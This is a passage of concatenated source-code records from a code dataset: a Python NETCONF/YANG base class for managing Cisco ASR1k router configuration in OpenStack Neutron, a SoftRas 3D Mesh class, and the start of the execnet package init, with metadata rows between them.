with ConnectionManager(context=context) as connection:
if json is None:
json = self.to_dict(context=context)
if method not in [NC_OPERATION.PATCH, NC_OPERATION.PUT]:
raise Exception('Update should be called with method = NC_OPERATION.PATCH | NC_OPERATION.PUT')
result = connection.edit_config(config=self.to_xml(context, operation=method, json=json),
entity=self.__class__.__name__,
action="update")
return result
@execute_on_pair()
def delete(self, context, method=NC_OPERATION.DELETE, postflight=True):
return self._delete(context=context, method=method, postflight=postflight)
@retry_on_failure()
def _delete(self, context, method=NC_OPERATION.DELETE, postflight=True):
self._delete_no_retry(context, method, postflight=postflight)
def _delete_no_retry(self, context, method=NC_OPERATION.DELETE, postflight=True):
if postflight:
self.postflight(context, method)
with ConnectionManager(context=context) as connection:
if self._internal_exists(context) or self.force_delete:
json = self.to_delete_dict(context)
result = connection.edit_config(config=self.to_xml(context, json=json, operation=method),
entity=self.__class__.__name__,
action="delete")
return result
def _internal_validate(self, context, should_be_none=False):
device_config = self._internal_get(context=context)
if should_be_none:
if device_config is None:
return []
diff = self._diff(context, device_config)
if len(diff) > 0:
LOG.info("Internal validate of {} for {} produced {} diff(s) {}"
"".format(self.__class__.__name__, context.host, len(diff), diff))
return diff
@execute_on_pair(result_type=DiffResult)
def _validate(self, context, should_be_none=False):
return self._internal_validate(context=context, should_be_none=False)
def diff(self, should_be_none=False):
result = self._validate(should_be_none=should_be_none)
return result
def is_valid(self, context, should_be_none=False):
result = self.diff(context, should_be_none=should_be_none)
return result.valid
def orphan_info(self):
return {self.__class__.__name__: {'id': self.id}}
def preflight(self, context):
pass
def postflight(self, context, method):
pass
def init_config(self):
return ""
| 39.003525 | 119 | 0.517414 |
import time
import eventlet
import eventlet.debug
import dictdiffer
import six
eventlet.debug.hub_exceptions(False)
from oslo_log import log as logging
from oslo_utils import uuidutils
from asr1k_neutron_l3.common import asr1k_exceptions as exc
from asr1k_neutron_l3.models import asr1k_pair
from asr1k_neutron_l3.models.connection import ConnectionManager
from asr1k_neutron_l3.models.netconf_yang.xml_utils import JsonDict, OPERATION
from asr1k_neutron_l3.models.netconf_yang.bulk_operations import BulkOperations
from asr1k_neutron_l3.common.prometheus_monitor import PrometheusMonitor
from asr1k_neutron_l3.common.exc_helper import exc_info_full
from ncclient.operations.rpc import RPCError
from ncclient.transport.errors import SessionCloseError
from ncclient.transport.errors import SSHError
from ncclient.operations.errors import TimeoutExpiredError
LOG = logging.getLogger(__name__)
class NC_OPERATION(object):
DELETE = 'delete'
REMOVE = 'remove'
CREATE = 'create'
PUT = 'replace'
PATCH = 'merge'
OVERRIDE = 'override'
class YANG_TYPE(object):
EMPTY = 'empty'
class classproperty(property):
def __get__(self, cls, owner):
return self.fget.__get__(None, owner)()
class Requeable(object):
def requeable_operations(self):
return []
class IgnorePartialKeys(set):
def __contains__(self, key):
return super(IgnorePartialKeys, self).__contains__(key) or \
isinstance(key, tuple) and super(IgnorePartialKeys, self).__contains__(key[-1])
class execute_on_pair(object):
def __init__(self, return_raw=False, result_type=None):
self.return_raw = return_raw
self.result_type = PairResult
if result_type is not None:
self.result_type = result_type
def _execute_method(self, *args, **kwargs):
method = kwargs.pop('_method')
result = kwargs.pop('_result')
context = kwargs['context']
try:
response = method(*args, **kwargs)
if isinstance(response, self.result_type):
result = response
else:
result.append(context, response)
except BaseException as e:
LOG.error(e, exc_info=exc_info_full())
result.append(context, e)
def __call__(self, method):
@six.wraps(method)
def wrapper(*args, **kwargs):
start = time.time()
result = self.result_type(args[0], method.__name__)
if not self.return_raw:
pool = eventlet.GreenPool()
for context in asr1k_pair.ASR1KPair().contexts:
kwargs['context'] = context
kwargs['_method'] = method
kwargs['_result'] = result
pool.spawn_n(self._execute_method, *args, **kwargs)
pool.waitall()
else:
if kwargs.get('context') is None:
kwargs['context'] = asr1k_pair.ASR1KPair().contexts[0]
try:
response = method(*args, **kwargs)
result = response
except Exception as e:
raise e
if isinstance(result, self.result_type):
if not result.success:
LOG.warning(result.errors)
result.raise_errors()
duration = time.time() - start
if hasattr(result, 'duration'):
setattr(result, 'duration', duration)
return result
return wrapper
class retry_on_failure(object):
def __init__(self, retry_interval=0.1, max_retry_interval=20, backoff=True):
self.retry_interval = retry_interval
self.max_retry_interval = max_retry_interval
self.backoff = backoff
super(retry_on_failure, self).__init__()
def __call__(self, f):
@six.wraps(f)
def wrapper(*args, **kwargs):
uuid = uuidutils.generate_uuid()
retries = 0
exception = None
entity = args[0]
context = kwargs.get('context')
host = None
if context is not None:
host = context.host
backoff = self.retry_interval
start = time.time()
total_retry = 0
while total_retry < self.max_retry_interval:
total_retry += backoff
if retries > 0:
LOG.debug("** [{}] request {} : Retry method {} on {} retries {} backoff {}s : {}s of {}s elapsed"
"".format(host, uuid, f.__name__,
entity.__class__.__name__, retries, backoff,
time.time() - start, self.max_retry_interval))
backoff = pow(2, retries) * self.retry_interval
try:
result = f(*args, **kwargs)
if result is not None and not isinstance(result, PairResult) and not result.ok:
time.sleep(self.retry_interval)
retries += 1
else:
if retries > 0:
LOG.debug("** [{}] request {} : Method {} on {} succeeded after {} attempts in {}s"
"".format(host, uuid, f.__name__,
entity.__class__.__name__, retries, time.time() - start))
return result
except exc.DeviceUnreachable as e:
if context is not None:
if context.alive:
LOG.error("Device {} not reachable anymore, setting alive to false".format(host),
exc_info=exc_info_full())
LOG.debug("** [{}] request {}: Device is not reachable anymore: {}".format(host, uuid, e))
context.mark_alive(False)
break
except exc.EntityNotEmptyException as e:
if total_retry < self.max_retry_interval:
LOG.debug("** [{}] request {} : retry {} of {} on {} entity has child config , "
"will backoff and retry "
"".format(host, uuid, retries, f.__name__, args[0].__class__.__name__))
pass
else:
LOG.debug(
"** [{}] request {} : retry {} of {} on {}entity has child config , "
"retry limit reached, failing "
"".format(host, uuid, retries, f.__name__, args[0].__class__.__name__))
time.sleep(backoff)
retries += 1
exception = e
except (RPCError, SessionCloseError, SSHError, TimeoutExpiredError, exc.EntityNotEmptyException) as e:
if isinstance(e, RPCError):
LOG.error(e, exc_info=exc_info_full())
operation = f.__name__
if e.tag in ['data-missing']:
return None
elif e.message == "resource denied: Sync is in progress":
PrometheusMonitor().rpc_sync_errors.labels(device=context.host,
entity=entity.__class__.__name__,
action=operation).inc()
raise exc.ReQueueableInternalErrorException(host=host, entity=entity, operation=operation)
elif e.message == 'inconsistent value: Device refused one or more commands':
LOG.debug("{} {} {}".format(entity.__class__.__name__, operation, e.to_dict()))
PrometheusMonitor().inconsistency_errors.labels(device=context.host,
entity=entity.__class__.__name__,
action=operation).inc()
raise exc.InconsistentModelException(device=context.host, host=host,
entity=entity, operation=operation, info=e.info)
elif e.message == 'internal error':
# e.g. BGP session active these should be requeued
LOG.debug(e.to_dict())
if isinstance(entity, Requeable) and operation in entity.requeable_operations():
PrometheusMonitor().requeue.labels(device=context.host,
entity=entity.__class__.__name__,
action=f.__name__).inc()
raise exc.ReQueueableInternalErrorException(host=host, entity=entity,
operation=operation)
else:
PrometheusMonitor().internal_errors.labels(device=context.host,
entity=entity.__class__.__name__,
action=f.__name__).inc()
raise exc.InternalErrorException(host=host, entity=entity, operation=operation,
info=e.info)
elif e.tag in ['in-use']: # Lock
PrometheusMonitor().config_locks.labels(device=context.host,
entity=entity.__class__.__name__,
action=f.__name__).inc()
if total_retry < self.max_retry_interval:
LOG.debug("** [{}] request {} : retry {} of {} on {} hit config lock , "
"will backoff and retry "
"".format(host, uuid, retries, f.__name__, args[0].__class__.__name__))
pass # retry on lock
else:
LOG.debug(
"** [{}] request {} : retry {} of {} on {} hit config lock , "
"retry limit reached, failing "
"".format(host, uuid, retries, f.__name__, args[0].__class__.__name__))
raise exc.ConfigurationLockedException(host=host, entity=entity, operation=operation)
else:
LOG.debug(e.to_dict())
elif isinstance(e, SSHError):
PrometheusMonitor().nc_ssh_errors.labels(device=context.host, entity=entity.__class__.__name__,
action=f.__name__).inc()
LOG.exception(e)
elif isinstance(e, exc.EntityNotEmptyException):
raise exc.ReQueueableInternalErrorException(host=host, entity=entity, operation=operation)
else:
LOG.exception(e)
time.sleep(backoff)
retries += 1
exception = e
if exception is not None:
LOG.error(entity, exc_info=exc_info_full())
raise exception
return wrapper
class PairResult(object):
def __init__(self, entity, operation):
self.entity = entity
self.operation = operation
self.results = {}
self.errors = {}
self.show_success = True
self.show_failure = True
self.duration = -1
def append(self, context, response):
if isinstance(response, BaseException):
self.errors[context.host] = response
else:
self.results[context.host] = response
@property
def success(self):
return (not bool(self.errors)) and bool(self.results)
@property
def error(self):
return bool(self.errors)
def raise_errors(self):
# Operation will start in _ as we use the internal CRD call on each device
# to evaluate whether to to raise we use raise_on_create/delete/update so we trim the first char
operation = self.operation
if operation.startswith('_'):
operation = operation[1:]
check_attr = 'raise_on_{}'.format(operation)
should_raise = False
if hasattr(self.entity, check_attr):
should_raise = getattr(self.entity, check_attr)
for host, error in six.iteritems(self.errors):
if should_raise and isinstance(error, exc.DeviceOperationException) and error.raise_exception:
raise error
def __str__(self):
result = ''
if self.success and self.show_success:
result = "** Success for [{}] action [{}]\n".format(self.entity.__class__.__name__, self.operation)
for host in self.results:
result += "[{}] : {}\n".format(host, self.results.get(host))
if self.error and self.show_failure:
result = "** Errors for [{}] action [{}]\n".format(self.entity.__class__.__name__, self.operation)
for host in self.errors:
error = self.errors.get(host, None)
if hasattr(self.entity, 'to_xml'):
result += "{}\n".format(self.entity.to_xml(context=None))
result += "{} : {} : {}\n".format(host, error.__class__.__name__, error)
return result
def to_dict(self):
result = {}
for host in self.results:
host_result = self.results.get(host)
if host_result is not None:
result[host] = self.results.get(host).to_dict()
else:
result[host] = {}
return result
class DiffResult(PairResult):
@property
def valid(self):
valid = True
for host in self.results.keys():
diffs = self.results.get(host)
valid = valid and not diffs
return valid
@property
def invalid_devicess(self):
results = []
for host in self.results.keys():
diffs = self.results.get(host)
if len(diffs) > 0:
results.append(host)
return results
@property
def diffs(self):
return self.results
def diffs_for_device(self, host):
return self.results.get(host, [])
def to_dict(self):
result = {}
for host in self.results:
result[host] = self.results.get(host)
return result
# def __str__(self):
# result = ''
# for host in self.results.keys():
# result = result + "{} : {} {} : {} \n".format(host,self.entity,self.valid,self.results.get(host))
#
#
# return result
class NyBase(BulkOperations):
_ncc_connection = {}
PARENT = 'parent'
EMPTY_TYPE = {}
LIST_KEY = ""
@classmethod
def __parameters__(cls):
return []
def __init__(self, **kwargs):
# Should we delete even if object reports not existing
#
self.force_delete = False
self.from_device = kwargs.get("from_device", False)
# Should fatal exceptions be raised
self.raise_on_create = True
self.raise_on_update = True
self.raise_on_delete = True
self.raise_on_valid = False
id_field = "id"
if self.__parameters__():
for param in self.__parameters__():
key = param.get('key')
yang_key = param.get('yang-key', key)
default = param.get('default')
mandatory = param.get('mandatory', False)
# use first id field, there can be only one
if param.get('id', False) and id_field == 'id':
id_field = key
value = kwargs.get(key)
if value is None:
value = kwargs.get(yang_key)
if value is None:
value = kwargs.get(yang_key.replace("_", "-"))
if value is None and default is not None:
value = default
if isinstance(value, int) and not isinstance(value, bool):
value = str(value)
if mandatory and value is None:
pass
# raise Exception("Missing mandatory paramter {}".format(key))
else:
if isinstance(value, list):
new_value = []
for item in value:
item = self._get_value(param, item)
new_value.append(item)
value = new_value
else:
value = self._get_value(param, value)
setattr(self, key, value)
if self.PARENT in kwargs:
setattr(self, self.parent, kwargs)
self.__id_function__(id_field, **kwargs)
def _get_value(self, param, item):
type = param.get('type')
if isinstance(type, list):
type = type[0]
if type is not None and item is not None and not isinstance(item, type) and \
not isinstance(item, str) and not type == str:
return type(**item)
return item
def __id_function__(self, id_field, **kwargs):
self.id = str(kwargs.get(id_field))
if self.id is None:
raise Exception("ID field {} is None".format(id_field))
def __str__(self):
json = self.to_dict(context=asr1k_pair.FakeASR1KContext())
if isinstance(json, dict):
value = JsonDict(json).__str__()
else:
value = json.__str__()
if value is None:
value = ""
return value
def __repr__(self):
return "{} at {} ({})".format(self.__class__.__name__, id(self), str(self))
# Define what constitutes an empty diff
# defaults to the empty type for the class
def empty_diff(self):
return self.EMPTY_TYPE
@classmethod
def get_item_key(cls, context):
return cls.ITEM_KEY
def _diff(self, context, other):
self_json = self._to_plain_json(self.to_dict(context=context))
other_json = {}
if other is not None:
other_json = self._to_plain_json(other.to_dict(context=context))
else:
other_json = self.empty_diff()
return self.__json_diff(self_json, other_json)
def __json_diff(self, self_json, other_json):
ignore = [OPERATION]
for param in self.__parameters__():
if not param.get('validate', True):
ignore.append(param.get('key', param.get('yang-key')))
diff = self.__diffs_to_dicts(dictdiffer.diff(self_json, other_json, ignore=IgnorePartialKeys(ignore)))
return diff
def __diffs_to_dicts(self, diffs):
result = []
if not isinstance(diffs, list):
diffs = list(diffs)
if diffs:
for diff in diffs:
if len(diff) == 3:
neutron = None
device = None
if len(diff[2]) == 1:
if diff[0] == 'add':
device = diff[2][0]
else:
neutron = diff[2][0]
elif len(diff[2]) == 2:
neutron = diff[2][0]
device = diff[2][1]
result.append({'entity': self.id,
'type': diff[0],
'item': diff[1],
'neutron': neutron,
'device': device})
return result
@classmethod
def from_json(cls, json, context, parent=None):
try:
if not bool(json):
return None
params = {
'from_device': True,
}
for param in cls.__parameters__():
if param.get('deserialise', True):
key = param.get('key', "")
cisco_key = key.replace("_", "-")
yang_key = param.get("yang-key", cisco_key)
yang_path = param.get("yang-path")
type = param.get("type")
values = json
if yang_path is not None:
path = yang_path.split("/")
for path_item in path:
if bool(values):
values = values.get(path_item)
if isinstance(values, list):
LOG.error("Unexpected list found for %s path %s values %s",
cls.__name__, yang_path, values)
if bool(values) is None:
LOG.error("Invalid yang segment %s in %s please check against yang model. "
"Values: %s", path_item, yang_path, values)
if bool(values):
if param.get('yang-type') == YANG_TYPE.EMPTY:
if yang_key in values:
value = True
else:
value = False
elif isinstance(type, list) and param.get('root-list', False):
value = values
elif hasattr(values, 'get'):
value = values.get(yang_key)
else:
value = values
if type is not None:
if isinstance(type, list):
type = type[0]
result = []
if isinstance(value, list):
for v in value:
if isinstance(v, dict) and not type == str:
v[cls.PARENT] = params
result.append(type.from_json(v, context))
else:
result.append(v)
else:
if value is not None and not isinstance(value, str) and not type == str:
value[cls.PARENT] = params
result.append(type.from_json(value, context))
elif value is not None:
result.append(value)
value = result
else:
value = type.from_json(value, context)
if isinstance(value, dict) and value == {}:
value = True
params[key] = value
except Exception as e:
LOG.exception(e)
return cls(**params)
@classmethod
def get_primary_filter(cls, **kwargs):
return cls.ID_FILTER.format(id=kwargs.get('id'))
@classmethod
def get_all_filter(cls, **kwargs):
return cls.ALL_FILTER.format(**kwargs)
@classmethod
@execute_on_pair(return_raw=True)
def get(cls, id, context):
return cls._get(id=id, context=context)
@classmethod
@execute_on_pair(return_raw=True)
def exists(cls, id, context):
return cls._exists(id=id, context=context)
@classmethod
def _get(cls, **kwargs):
try:
xpath_filter = kwargs.get('xpath_filter')
if not xpath_filter:
nc_filter = kwargs.get('nc_filter')
if nc_filter is None:
nc_filter = cls.get_primary_filter(**kwargs)
context = kwargs.get('context')
with ConnectionManager(context=context) as connection:
if xpath_filter:
result = connection.xpath_get(filter=xpath_filter, entity=cls.__name__, action="get")
else:
result = connection.get(filter=nc_filter, entity=cls.__name__, action="get")
result = cls.from_xml(result.xml, context)
if result is not None:
# Add missing primary keys from get
cls.__ensure_primary_keys(result, **kwargs)
return result
except exc.DeviceUnreachable:
pass
@classmethod
def from_xml(cls, xml_str, context):
data = cls.to_json(xml_str, context)
if data is not None:
data = data.get(cls.get_item_key(context))
if data is not None:
return cls.from_json(data, context)
@classmethod
def _get_all(cls, **kwargs):
result = []
try:
xpath_filter = kwargs.get('xpath_filter', None)
if xpath_filter is None:
nc_filter = kwargs.get('nc_filter')
if nc_filter is None:
nc_filter = cls.get_all_filter(**kwargs.get('filter'))
context = kwargs.get('context')
with ConnectionManager(context=context) as connection:
if xpath_filter is not None:
rpc_result = connection.xpath_get(filter=xpath_filter, entity=cls.__name__, action="xpath_get_all")
else:
rpc_result = connection.get(filter=nc_filter, entity=cls.__name__, action="get_all")
json = cls.to_json(rpc_result.xml, context)
if json is not None:
json = json.get(cls.get_item_key(context), json)
if isinstance(json, list):
for item in json:
result.append(cls.from_json(item, context))
else:
result.append(cls.from_json(json, context))
# Add missing primary keys from get
for item in result:
cls.__ensure_primary_keys(item, **kwargs)
except exc.DeviceUnreachable:
pass
except Exception as e:
LOG.exception(e)
return result
@classmethod
def __ensure_primary_keys(cls, item, **kwargs):
# Add missing primary keys from get
params = cls.__parameters_as_dict()
for key in kwargs.keys():
param = params.get(key, {})
if key != 'context' and param.get('primary_key', False):
setattr(item, key, kwargs.get(key))
@classmethod
def __parameters_as_dict(cls):
result = {}
for param in cls.__parameters__():
result[param.get('key')] = param
return result
@classmethod
def _exists(cls, **kwargs):
try:
result = cls._get(**kwargs)
except Exception as e:
LOG.exception(e)
result = None
if result is not None:
return True
return False
def _internal_exists(self, context):
kwargs = self.__dict__
kwargs['context'] = context
return self.__class__._exists(**kwargs)
def _internal_get(self, context):
kwargs = self.__dict__
kwargs['context'] = context
return self.__class__._get(**kwargs)
@classmethod
@execute_on_pair()
def get_all(cls, filter={}, context=None):
return cls._get_all_mass(context=context)
@execute_on_pair()
def create(self, context):
return self._create(context=context)
@retry_on_failure()
def _create(self, context):
with ConnectionManager(context=context) as connection:
result = connection.edit_config(config=self.to_xml(context, operation=NC_OPERATION.PUT),
entity=self.__class__.__name__,
action="create")
return result
@execute_on_pair()
def update(self, context, method=NC_OPERATION.PATCH):
return self._update(context=context, method=method)
@retry_on_failure()
def _update(self, context, method=NC_OPERATION.PATCH, json=None, preflight=True, postflight=False,
internal_validate=True):
if not internal_validate or len(self._internal_validate(context=context)) > 0:
if preflight:
self.preflight(context)
if postflight:
self.postflight(context, method)
with ConnectionManager(context=context) as connection:
if json is None:
json = self.to_dict(context=context)
if method not in [NC_OPERATION.PATCH, NC_OPERATION.PUT]:
raise Exception('Update should be called with method = NC_OPERATION.PATCH | NC_OPERATION.PUT')
result = connection.edit_config(config=self.to_xml(context, operation=method, json=json),
entity=self.__class__.__name__,
action="update")
return result
@execute_on_pair()
def delete(self, context, method=NC_OPERATION.DELETE, postflight=True):
return self._delete(context=context, method=method, postflight=postflight)
@retry_on_failure()
def _delete(self, context, method=NC_OPERATION.DELETE, postflight=True):
self._delete_no_retry(context, method, postflight=postflight)
def _delete_no_retry(self, context, method=NC_OPERATION.DELETE, postflight=True):
if postflight:
self.postflight(context, method)
with ConnectionManager(context=context) as connection:
if self._internal_exists(context) or self.force_delete:
json = self.to_delete_dict(context)
result = connection.edit_config(config=self.to_xml(context, json=json, operation=method),
entity=self.__class__.__name__,
action="delete")
return result
def _internal_validate(self, context, should_be_none=False):
device_config = self._internal_get(context=context)
if should_be_none:
if device_config is None:
return []
diff = self._diff(context, device_config)
if len(diff) > 0:
LOG.info("Internal validate of {} for {} produced {} diff(s) {}"
"".format(self.__class__.__name__, context.host, len(diff), diff))
return diff
@execute_on_pair(result_type=DiffResult)
def _validate(self, context, should_be_none=False):
return self._internal_validate(context=context, should_be_none=False)
def diff(self, should_be_none=False):
result = self._validate(should_be_none=should_be_none)
return result
def is_valid(self, context, should_be_none=False):
result = self.diff(context, should_be_none=should_be_none)
return result.valid
def orphan_info(self):
return {self.__class__.__name__: {'id': self.id}}
def preflight(self, context):
pass
def postflight(self, context, method):
pass
def init_config(self):
return ""
| true | true |
f73c53bd5d51dacd505f0d8fd1eba0dd1071f023 | 7,293 | py | Python | soft_renderer/mesh.py | Rubikplayer/SoftRas | bfc6e7aba8531f4937f933122b3662b39b1114f1 | [
"MIT"
] | null | null | null | soft_renderer/mesh.py | Rubikplayer/SoftRas | bfc6e7aba8531f4937f933122b3662b39b1114f1 | [
"MIT"
] | null | null | null | soft_renderer/mesh.py | Rubikplayer/SoftRas | bfc6e7aba8531f4937f933122b3662b39b1114f1 | [
"MIT"
] | null | null | null | import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
import soft_renderer.functional as srf
class Mesh(object):
'''
A simple class for creating and manipulating trimesh objects
'''
def __init__(self, vertices, faces, textures=None, texture_res=1, texture_type='surface'):
'''
vertices, faces and textures(if not None) are expected to be Tensor objects
'''
self._vertices = vertices
self._faces = faces
if isinstance(self._vertices, np.ndarray):
self._vertices = torch.from_numpy(self._vertices).float().cuda()
if isinstance(self._faces, np.ndarray):
self._faces = torch.from_numpy(self._faces).int().cuda()
if self._vertices.ndimension() == 2:
self._vertices = self._vertices[None, :, :]
if self._faces.ndimension() == 2:
self._faces = self._faces[None, :, :]
self.device = self._vertices.device
self.texture_type = texture_type
self.batch_size = self._vertices.shape[0]
self.num_vertices = self._vertices.shape[1]
self.num_faces = self._faces.shape[1]
self._face_vertices = None
self._face_vertices_update = True
self._surface_normals = None
self._surface_normals_update = True
self._vertex_normals = None
self._vertex_normals_update = True
self._fill_back = False
# create textures
if textures is None:
if texture_type == 'surface':
self._textures = torch.ones(self.batch_size, self.num_faces, texture_res**2, 3,
dtype=torch.float32).to(self.device)
self.texture_res = texture_res
elif texture_type == 'vertex':
self._textures = torch.ones(self.batch_size, self.num_vertices, 3,
dtype=torch.float32).to(self.device)
self.texture_res = 1
else:
if isinstance(textures, np.ndarray):
textures = torch.from_numpy(textures).float().cuda()
if textures.ndimension() == 3 and texture_type == 'surface':
textures = textures[None, :, :, :]
if textures.ndimension() == 2 and texture_type == 'vertex':
textures = textures[None, :, :]
self._textures = textures
self.texture_res = int(np.sqrt(self._textures.shape[2]))
self._origin_vertices = self._vertices
self._origin_faces = self._faces
self._origin_textures = self._textures
@property
def faces(self):
return self._faces
@faces.setter
def faces(self, faces):
# need check tensor
self._faces = faces
self.num_faces = self._faces.shape[1]
self._face_vertices_update = True
self._surface_normals_update = True
self._vertex_normals_update = True
@property
def vertices(self):
return self._vertices
@vertices.setter
def vertices(self, vertices):
# need check tensor
self._vertices = vertices
self.num_vertices = self._vertices.shape[1]
self._face_vertices_update = True
self._surface_normals_update = True
self._vertex_normals_update = True
@property
def textures(self):
return self._textures
@textures.setter
def textures(self, textures):
# need check tensor
self._textures = textures
@property
def face_vertices(self):
if self._face_vertices_update:
self._face_vertices = srf.face_vertices(self.vertices, self.faces)
self._face_vertices_update = False
return self._face_vertices
@property
def surface_normals(self):
if self._surface_normals_update:
v10 = self.face_vertices[:, :, 0] - self.face_vertices[:, :, 1]
v12 = self.face_vertices[:, :, 2] - self.face_vertices[:, :, 1]
self._surface_normals = F.normalize(torch.cross(v12, v10), p=2, dim=2, eps=1e-6)
self._surface_normals_update = False
return self._surface_normals
@property
def vertex_normals(self):
if self._vertex_normals_update:
self._vertex_normals = srf.vertex_normals(self.vertices, self.faces)
self._vertex_normals_update = False
return self._vertex_normals
@property
def face_textures(self):
if self.texture_type in ['surface']:
return self.textures
elif self.texture_type in ['vertex']:
return srf.face_vertices(self.textures, self.faces)
else:
raise ValueError('texture type not applicable')
def fill_back_(self):
if not self._fill_back:
self.faces = torch.cat((self.faces, self.faces[:, :, [2, 1, 0]]), dim=1)
self.textures = torch.cat((self.textures, self.textures), dim=1)
self._fill_back = True
def reset_(self, bake_lighting_lambda=None):
self.vertices = self._origin_vertices
self.faces = self._origin_faces
if bake_lighting_lambda is None:
self.textures = self._origin_textures
else:
if self.texture_type in ['surface']:
raise NotImplementedError
elif self.texture_type in ['vertex']:
self.textures = bake_lighting_lambda( self._origin_textures, self. vertex_normals)
else:
raise ValueError('texture type not applicable')
self._fill_back = False
@classmethod
def from_obj(cls, filename_obj, normalization=False, load_texture=False, texture_res=1, texture_type='surface'):
'''
Create a Mesh object from a .obj file
'''
if load_texture:
vertices, faces, textures = srf.load_obj(filename_obj,
normalization=normalization,
texture_res=texture_res,
load_texture=True,
texture_type=texture_type)
else:
vertices, faces = srf.load_obj(filename_obj,
normalization=normalization,
texture_res=texture_res,
load_texture=False)
textures = None
return cls(vertices, faces, textures, texture_res, texture_type)
def save_obj(self, filename_obj, save_texture=False, texture_res_out=16):
if self.batch_size != 1:
raise ValueError('Could not save when batch size >= 1')
if save_texture:
srf.save_obj(filename_obj, self.vertices[0], self.faces[0],
textures=self.textures[0],
texture_res=texture_res_out, texture_type=self.texture_type)
else:
srf.save_obj(filename_obj, self.vertices[0], self.faces[0], textures=None)
def voxelize(self, voxel_size=32):
face_vertices_norm = self.face_vertices * voxel_size / (voxel_size - 1) + 0.5
return srf.voxelization(face_vertices_norm, voxel_size, False) | 38.792553 | 116 | 0.593994 | import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
import soft_renderer.functional as srf
class Mesh(object):
def __init__(self, vertices, faces, textures=None, texture_res=1, texture_type='surface'):
self._vertices = vertices
self._faces = faces
if isinstance(self._vertices, np.ndarray):
self._vertices = torch.from_numpy(self._vertices).float().cuda()
if isinstance(self._faces, np.ndarray):
self._faces = torch.from_numpy(self._faces).int().cuda()
if self._vertices.ndimension() == 2:
self._vertices = self._vertices[None, :, :]
if self._faces.ndimension() == 2:
self._faces = self._faces[None, :, :]
self.device = self._vertices.device
self.texture_type = texture_type
self.batch_size = self._vertices.shape[0]
self.num_vertices = self._vertices.shape[1]
self.num_faces = self._faces.shape[1]
self._face_vertices = None
self._face_vertices_update = True
self._surface_normals = None
self._surface_normals_update = True
self._vertex_normals = None
self._vertex_normals_update = True
self._fill_back = False
if textures is None:
if texture_type == 'surface':
self._textures = torch.ones(self.batch_size, self.num_faces, texture_res**2, 3,
dtype=torch.float32).to(self.device)
self.texture_res = texture_res
elif texture_type == 'vertex':
self._textures = torch.ones(self.batch_size, self.num_vertices, 3,
dtype=torch.float32).to(self.device)
self.texture_res = 1
else:
if isinstance(textures, np.ndarray):
textures = torch.from_numpy(textures).float().cuda()
if textures.ndimension() == 3 and texture_type == 'surface':
textures = textures[None, :, :, :]
if textures.ndimension() == 2 and texture_type == 'vertex':
textures = textures[None, :, :]
self._textures = textures
self.texture_res = int(np.sqrt(self._textures.shape[2]))
self._origin_vertices = self._vertices
self._origin_faces = self._faces
self._origin_textures = self._textures
@property
def faces(self):
return self._faces
@faces.setter
def faces(self, faces):
self._faces = faces
self.num_faces = self._faces.shape[1]
self._face_vertices_update = True
self._surface_normals_update = True
self._vertex_normals_update = True
@property
def vertices(self):
return self._vertices
@vertices.setter
def vertices(self, vertices):
self._vertices = vertices
self.num_vertices = self._vertices.shape[1]
self._face_vertices_update = True
self._surface_normals_update = True
self._vertex_normals_update = True
@property
def textures(self):
return self._textures
@textures.setter
def textures(self, textures):
self._textures = textures
@property
def face_vertices(self):
if self._face_vertices_update:
self._face_vertices = srf.face_vertices(self.vertices, self.faces)
self._face_vertices_update = False
return self._face_vertices
@property
def surface_normals(self):
if self._surface_normals_update:
v10 = self.face_vertices[:, :, 0] - self.face_vertices[:, :, 1]
v12 = self.face_vertices[:, :, 2] - self.face_vertices[:, :, 1]
self._surface_normals = F.normalize(torch.cross(v12, v10), p=2, dim=2, eps=1e-6)
self._surface_normals_update = False
return self._surface_normals
@property
def vertex_normals(self):
if self._vertex_normals_update:
self._vertex_normals = srf.vertex_normals(self.vertices, self.faces)
self._vertex_normals_update = False
return self._vertex_normals
@property
def face_textures(self):
if self.texture_type in ['surface']:
return self.textures
elif self.texture_type in ['vertex']:
return srf.face_vertices(self.textures, self.faces)
else:
raise ValueError('texture type not applicable')
def fill_back_(self):
if not self._fill_back:
self.faces = torch.cat((self.faces, self.faces[:, :, [2, 1, 0]]), dim=1)
self.textures = torch.cat((self.textures, self.textures), dim=1)
self._fill_back = True
def reset_(self, bake_lighting_lambda=None):
self.vertices = self._origin_vertices
self.faces = self._origin_faces
if bake_lighting_lambda is None:
self.textures = self._origin_textures
else:
if self.texture_type in ['surface']:
raise NotImplementedError
elif self.texture_type in ['vertex']:
self.textures = bake_lighting_lambda( self._origin_textures, self. vertex_normals)
else:
raise ValueError('texture type not applicable')
self._fill_back = False
@classmethod
def from_obj(cls, filename_obj, normalization=False, load_texture=False, texture_res=1, texture_type='surface'):
if load_texture:
vertices, faces, textures = srf.load_obj(filename_obj,
normalization=normalization,
texture_res=texture_res,
load_texture=True,
texture_type=texture_type)
else:
vertices, faces = srf.load_obj(filename_obj,
normalization=normalization,
texture_res=texture_res,
load_texture=False)
textures = None
return cls(vertices, faces, textures, texture_res, texture_type)
def save_obj(self, filename_obj, save_texture=False, texture_res_out=16):
if self.batch_size != 1:
raise ValueError('Could not save when batch size >= 1')
if save_texture:
srf.save_obj(filename_obj, self.vertices[0], self.faces[0],
textures=self.textures[0],
texture_res=texture_res_out, texture_type=self.texture_type)
else:
srf.save_obj(filename_obj, self.vertices[0], self.faces[0], textures=None)
def voxelize(self, voxel_size=32):
face_vertices_norm = self.face_vertices * voxel_size / (voxel_size - 1) + 0.5
return srf.voxelization(face_vertices_norm, voxel_size, False) | true | true |
f73c553166d2334eb7d67ebc4b42826eb3948905 | 1,151 | py | Python | execnet/__init__.py | RonnyPfannschmidt-migration-tests/execnet | 2603fff9aa8e038e34e703e2d382ea19242ecd3e | [
"MIT"
] | 58 | 2017-08-03T23:26:42.000Z | 2022-01-28T03:41:25.000Z | venv/Lib/site-packages/execnet/__init__.py | Arthii01052/conduit | 3427d76d0fa364cb5d19bdd6da4aeb0a22fe9660 | [
"MIT"
] | 65 | 2017-07-25T06:46:36.000Z | 2022-03-08T20:55:00.000Z | venv/Lib/site-packages/execnet/__init__.py | Arthii01052/conduit | 3427d76d0fa364cb5d19bdd6da4aeb0a22fe9660 | [
"MIT"
] | 35 | 2017-07-23T12:39:39.000Z | 2022-03-14T06:00:52.000Z | # -*- coding: utf-8 -*-
"""
execnet
-------
pure python lib for connecting to local and remote Python Interpreters.
(c) 2012, Holger Krekel and others
"""
from ._version import version as __version__
from .deprecated import PopenGateway
from .deprecated import SocketGateway
